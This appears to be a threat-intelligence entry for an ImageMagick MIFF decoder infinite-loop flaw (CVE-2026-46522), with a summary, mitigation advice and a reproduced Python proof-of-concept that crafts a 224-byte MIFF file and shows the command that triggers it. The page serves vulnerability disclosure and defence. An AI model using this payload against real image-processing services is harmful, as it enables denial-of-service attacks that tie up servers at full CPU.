ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
AI Analysis
Technical Summary
CVE-2026-46522 describes an infinite loop vulnerability in the MIFF decoder component of ImageMagick 7.x, verified on version 7.1.2-3. This flaw can cause the application to consume excessive CPU resources, resulting in denial of service through resource exhaustion. Exploit code has been published in Python, demonstrating the vulnerability. The issue is local in nature and does not indicate remote exploitation or data compromise.
Potential Impact
Successful exploitation leads to CPU exhaustion on the affected system, potentially causing denial of service or degraded performance. There is no indication of data loss, privilege escalation, or remote code execution from the provided information.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access to ImageMagick processing functions to trusted users and avoid processing untrusted MIFF images to mitigate risk.
Indicators of Compromise
- exploit-code: # Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion # Google Dork: N/A # Date: 2026-05-13 # Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec # Vendor Homepage: https://imagemagick.org/ # Software Link: https://imagemagick.org/download/ # Version: ImageMagick 7.x, verified on 7.1.2-3 system # CVE : CVE-2026-46522 # GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5 """ Description ----------- coders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the per-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns BZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that are neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU. LZMA and Zip branches have the same code shape but their decompressor libraries return BUF_ERROR on empty input, so they bail out. Minimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU until killed by a request timeout or by the OS. Usage ----- python3 miff_bzip_dos.py [OUTPUT_PATH] Default OUTPUT_PATH is /tmp/poc.miff. Then trigger: /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\ timeout 5 magick identify /tmp/poc.miff Expected output: Command exited with non-zero status 124 wall=5.00s user=5.00s cpu=100% exit=124 The process never finishes on its own. Timeout kills it. """ import sys def craft_miff(path: str) -> None: header = ( b"id=ImageMagick version=1.0\n" b"class=DirectClass colors=0 alpha-trait=Undefined\n" b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n" b"columns=1 rows=1 depth=8\n" b"colorspace=sRGB compression=BZip quality=75\n" b"\x0c\n" # form feed terminator, then one byte consumed by ReadBlobByte ) body = b"\x00\x00\x00\x00" # 4-byte MSB length=0, triggers the infinite loop with open(path, "wb") as f: f.write(header + body) import os print(f"[+] Wrote {path} ({os.path.getsize(path)} bytes)") print(f"[+] Trigger with:") print(f" /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\") print(f" timeout 5 magick identify {path}") if __name__ == "__main__": craft_miff(sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff")
ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
Description
ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-46522 describes an infinite loop vulnerability in the MIFF decoder component of ImageMagick 7.x, verified on version 7.1.2-3. This flaw can cause the application to consume excessive CPU resources, resulting in denial of service through resource exhaustion. Exploit code has been published in Python, demonstrating the vulnerability. The issue is local in nature and does not indicate remote exploitation or data compromise.
Potential Impact
Successful exploitation leads to CPU exhaustion on the affected system, potentially causing denial of service or degraded performance. There is no indication of data loss, privilege escalation, or remote code execution from the provided information.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access to ImageMagick processing functions to trusted users and avoid processing untrusted MIFF images to mitigate risk.
Technical Details
- Cve
- CVE-2026-46522
- Version
- ImageMagick 7.x, verified on 7.1.2-3 system
- Vendor
- https://imagemagick.org
- Application
- https://imagemagick.org/download
- Author
- Jose Rivas (bl4cksku11) & Zero Trust Offsec
- Edb Id
- 52595
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
# Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion # Google Dork: N/A # Date: 2026-05-13 # Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec # Vendor Homepage: https://imagemagick.org/ # Software Link: https://imagemagick.org/download/ # Version: ImageMagick 7.x, verified on 7.1.2-3 system # CVE : CVE-2026-46522 # GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5 """ Description ----------- coders/miff.c R... (1849 more characters)
Threat ID: 6a1a0debe29bf47b5017f5c6
Added to database: 05/29/2026, 22:06:35 UTC
Last enriched: 06/23/2026, 17:13:14 UTC
Last updated: 07/31/2026, 19:22:59 UTC
Views: 89
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